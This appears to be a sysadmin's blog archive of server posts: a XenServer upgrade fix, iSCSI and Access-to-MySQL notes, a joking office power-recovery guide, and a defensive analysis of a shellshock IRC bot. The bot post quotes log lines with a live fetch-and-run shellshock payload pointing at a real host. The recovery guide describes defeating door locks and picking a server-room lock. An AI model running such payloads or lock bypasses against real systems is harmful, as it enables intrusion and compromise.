Category Archives: Servers

iommu.c kernel panic when upgrading to Xenserver 6.5

I found a bug exists on some Intel ICH9 Family chipsets that causes an error:

Image of a computer providing a iommu.c error
Image of a computer providing a iommu.c error

Panic on CPU 0:
Assertion 'rmrr->base_address < rmrr->end_address' Failed at iommu.c:1848
Reboot in five seconds...

The solution to this is simple.

First: Upgrade the system with the unsupported method :)
xe host-call-plugin plugin=prepare_host_upgrade.py host-uuid=e6238743-x-x-x-12c391702c0b fn=testUrl args:url=http://yourwebserverhere/xenserver65/

If it returns "true", go for the next step:
xe host-call-plugin plugin=prepare_host_upgrade.py host-uuid=e6238743-x-x-x-12c391702c0b fn=main args:url=http://yourwebserverhere/xenserver65/

This will take a while and return true. These are the steps that the rolling pool plugin uses.

now edit each "append" line and before the three dashes on "upgrade" and "xe" add "iommu=disable" and reboot. It should complete the network upgrade as normal and work properly after that.

Decode of IRC bot deployed by shellshock vulnerability

Today I saw a shellshock scan against my apache logs:

[Mon Nov 03 16:43:02 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/vpasswd.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:43:14 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/tigvote.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:43:32 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/smartsearch, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:44:17 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/newsdesk.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:44:21 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/musicqueue.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:44:23 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/mt-static, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:44:28 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/mmstdod.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:44:32 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/main.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:44:48 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/ImageFolio, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:44:55 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/html2chtml.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:45:21 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/ezshopper, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:45:34 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/dfire.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:46:19 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/book.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:46:28 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/bb-rep.shHTTP
[Mon Nov 03 16:46:38 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/auktion.cgi, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl
[Mon Nov 03 16:46:39 2014] [error] [client 159.226.170.29] script not found or unable to stat: /usr/lib/cgi-bin/auction, referer: () { :; }; wget -qO - http://202.143.160.141/lib21/index.cgi | perl

What this means in layman's terms is that the requester seems to think I'll execute the code in the referrer header (some CGI scripts would do this, especially with the bash vulnerability). What it wants me to do is go to that URL, download the code contained within, and execute it.

This is dangerous. I don't recommend it.  It's obsfucated by using base64 encoding. I changed the exec statement to a print, and output that to a file.  I zipped both and they are both here for forensic purposes.

It looks like the bot will change its name in the process table to one of the following:

my @rps = ("/usr/local/apache/bin/httpd -DSSL",
 "/usr/sbin/httpd -k start -DSSL",
 "/usr/sbin/httpd",
 "ksoftirqd/0",
 "khelper",
 "kblockd",
 "/usr/sbin/apache2 -k start",
 "kmpathd",
 "httpd",
 "/usr/sbin/acpid",
 "/usr/sbin/cron");

Then it will connect to the IRC server 'mboost.su' on port 443. It will join #shock and accept commands from 'M', 'st0n3d','x00' and 'jorgee'.

 

It accepts a myriad of commands to UDP flood hosts, portscan them, connect to arbitrary ports, reverse shell, and ctcp/msg/noticeflood anyone on the IRC server. It can also send emails from the  target machine, and download any arbitrary file.

If you haven't patched your server, keep your eyes out. Exploits are definitely in the wild.

Linux iSCSI initiator Notes

My own notes on the Linux iSCSI initiator – applicable to myself, but maybe also to you.

Discover IQNs from the portal

iscsiadm -m discovery -t st -p 192.168.0.x

Log into an IQN (attach it as a drive)

iscsiadm -m node --targetname "iqn.2002-02.com.xsadf:asdfasdf:freenas2:paulextent1" --portal 192.168.0.x --login

Do your thing

Log out of the IQN (make the device go away, from the OS standpoint)

 

iscsiadm -m node --targetname "iqn.2002-02.com.xsadf:asdfasdf:freenas2:paulextent1" --portal 192.168.0.x --logout

https://wiki.debian.org/SAN/iSCSI/open-iscsi  <– Debian's docs on this

“What’s that burning smell?”

In 2006, with a strong case of senior-itis after putting in notice at my last employer, I was asked to document a number of things I did regularly or special things that may be done incorrectly that would be helpful to know. One of the documents I can share, because it pertains entirely to nonexistent servers, non existing servers, and a building prior to the full dissolution of my previous employer's detroit office.

It's among my favorites, one I actually saved a copy of because I liked the sense of humor I had about what had (more than) once been a very frustrating task for me to perform.

“What’s that burning smell?”

A guide on how to recover the Detroit office from a full, extended power outage.

Paul Timmins

Okay, if you’re reading this document, you’re probably pretty screwed. Here’s a step by step guide.

Breaking into the office: (This is only necessary if the door controllers are not working right) [editor's note: they never work right]

  1. The holdmagnetsare rated for 300 pounds of lateral force. Don’t waste yourtimedinking with trying to pull them open. You’ll break the door first. You have two options:
    1. 1⁄4” – 1⁄2” steel rod, 1 meter long. (you can get this at home depot for a buck, it might be threaded, but who cares) Slip this through the crack between the door and the jamb, and use it to push the emergency exit button. It requires about 2 pounds of force, so a meterstick might not be sufficient.
    2. MacGuyver method. Heat up a party balloon under your arm until it’s about 85-90 degrees. Stick its mass through the door, and hold it by its neck. Inflate it with a drinking straw. Release the balloon, such that it flies in the path of the motion sensor. This may take several tries.
    3. The fire panel can override the perimeter locks. There are two ways to trigger this. One is to call property management and convince them to override your locks at the fire panel. Option two is left as an exercise to the reader.
  2. So you’re in. Now what? Well, that server room lock is failshut. You can’t operate it in a power outage, and there’s no fire panel override. It’s a 6 pin tumbler lock with no special warding. A locksmith (or me!) can open it in under 15 minutes with a simple set of lockpicks. Prop this door because it WILL relock.

Getting everything happy:

  1. Ensure you have power to the entire office. Getting halfway through this to find out that you only have power to half the room is not good.
  2. Air conditioning is critical. The room should be below 70F. If it is above 85F, do not continue until the AC has cooled the room. This can occur if the systems run off UPS for a while, because the AC is not on the UPS. If the AC isn’t spitting cold air out the vent by the door, turn the thermostat “OFF”, then to “COLD”, waiting 30 seconds between the toggle to avoid problems with the AC compressor. IF THE BUILDING LOSES PRESSURE TO THE CHILLERS, YOU MUST DO THIS STEP BECAUSE THE INTERLOCKS WILL SHUT OFF THE AC TO PREVENT DAMAGE, AND THE INTERLOCKS ARE RESET BY DOING THIS. BUILDING MANAGEMENT CANNOT HELP YOU WITH THIS – THE SERVER ROOM AC BELONGS TO TB.
  3. By now, you’re enjoying the fresh air. Make sure all computers are off, and then power on the UPSen. If they fully discharged, they’re going to have a lot of inrush current in the first 10 seconds, so you should do this step. It just might save you a blown breaker. (though I have not experienced this)
  4. Now we start powering up equipment. Power on all Ethernet switches. They are booted when all the lights are out but power, and maybe a few ports blinking away cheerfully. In 30 minutes you’ll be as happy as those little green lights are, so stay calm.
  5. Then power on the T1 router. It’s a Cisco 1700 series in the telecom rack. It is functional when you see W0 lit as active. If this is a regional power outage or natural disaster, check the back to make sure the alarm light isn’t illuminated. If it is, the T1 line itself is down. Call MCI/Verizon Business/AT&TMCI/Bell System, American Telephone and Telegraph, and related companies, depending on the level of telecom consolidation when you read this. The circuit is through UUnet as of this writing.
  6. Then power on the ASA. It is functional when the lights are doing their happy blinky thing.
  7. Power on DC3 and DC4. This will establish an AD tree relationship with San Mateo/San Francisco/Bunch of people screaming for help floating in the water after the “Big One”.
  8. Watch them come up on the KVM. Have a beer.
  9. Power on DC1DT and DC2DT, taking care not to spill your beer on the servers. DC2DT may take a waving of a dead chicken over top of it to properly boot as of this writing.
  10. Once those come up, make sure all raid enclosures in the office are plugged in and operating. Wave dead chicken as necessary.
  11. Power on ops-mon, FS3DT, and EX1DT.
  12. Power on PHONESYSTEM, ensuring both power supplies have power. Green LEDs are illuminated at the back of the power supply, right? This is very heat sensitive, so if you have to delay it to get the server room below 75 F, please do.
  13. Reset the doorlock controllers. They’re the big box with the ominous triangle printed on them on the wall above the keyboard for the phonesystem. Just yank their power, plug them back in, and listen in amusement as they do a little clicky dance with all the relays. The system is now reset and mostly operational.
  14. Power on the HP desktop across from the phonesystem. This dinky ass piece of crap is the badging machine. Log into it as local administrator, password is supplied elsewhere. Make sure that stupid dos window with the numbers counting comes up (it’s in the startup group, so it should!). Don’t close that. At this point, you can, in theory, rely on the door locks. Test them at the server room door.
  15. Power on the backup machine.
  16. Power on the rest of the computers. I just turn every computer in the room on to be safe.
  17. As a courtesy, power on the tenant’s crap. You don’t have to, but it builds goodwill and they’re more likely to give you favors. Seriously.
  18. Check your email. If it works, go home, or whatever.

Importing Microsoft Access databases into MySQL under Linux

I needed to do this, and found the existing documentation somewhat lacking. My work will be on a file in the original MDB access format (not the newer XML based ones). I'm working on Debian Linux. Instructions for derivatives (such as Ubuntu) should be identical. Other distributions (Redhat Based) may use different package names (using the yum package manager should simplify this, but I have not tested these instructions under Redhat/CentOS/etc).

For the purposes of my example, I'll call my MySQL database "taco" and my Access file "nacho.mdb".

Where I say "(creds)" you place any connection information you may usually need – an example would be "-h database.yourdomain.com -u youruser -pyourpassword"

First, install the mdbtools package:

apt-get install mdbtools

Answer the questions as appropriate.

Create a new database to hold these files:

optional, but suggested. You can always move tables around later.

mysqladmin (creds) create taco

Build empty tables to house all your data, using the Access schema:

This creates empty tables with the same names, structures, and datatypes (or their equivalents) as the access database.

mdb-schema nachos.mdb mysql | mysql (creds) taco

Copy all the data over:

I asked for a tables list, comma delimited. Then I removed the trailing comma, then told xargs to run mdb-export for each table name in the file. BLAH is used as a placeholder, and is replaced by whatever table name it's working on. Please note the positions of commas and spaces are crucial to the proper operation of this command.

mdb-tables -d, -t table nacho.mdb |sed 's/,$//'|xargs -d, -I BLAH mdb-export -I mysql nacho.mdb BLAH|mysql (creds) taco

If you make a mistake:

I know, we're all perfect, right? But let's pretend …your friend… makes a mistake, or encounters a correctable error in processing. The easiest thing to do is dump the mysql database and start all over (you did create a new database just for this, right?)

mysqladmin (creds) drop taco

Answer "Y" and push forward. Only by losing everything are we free to do anything. That's what you'll tell yourself to feel better about the time wasted by starting over. Unless you know what you're doing, I promise you this is the easiest, quickest way.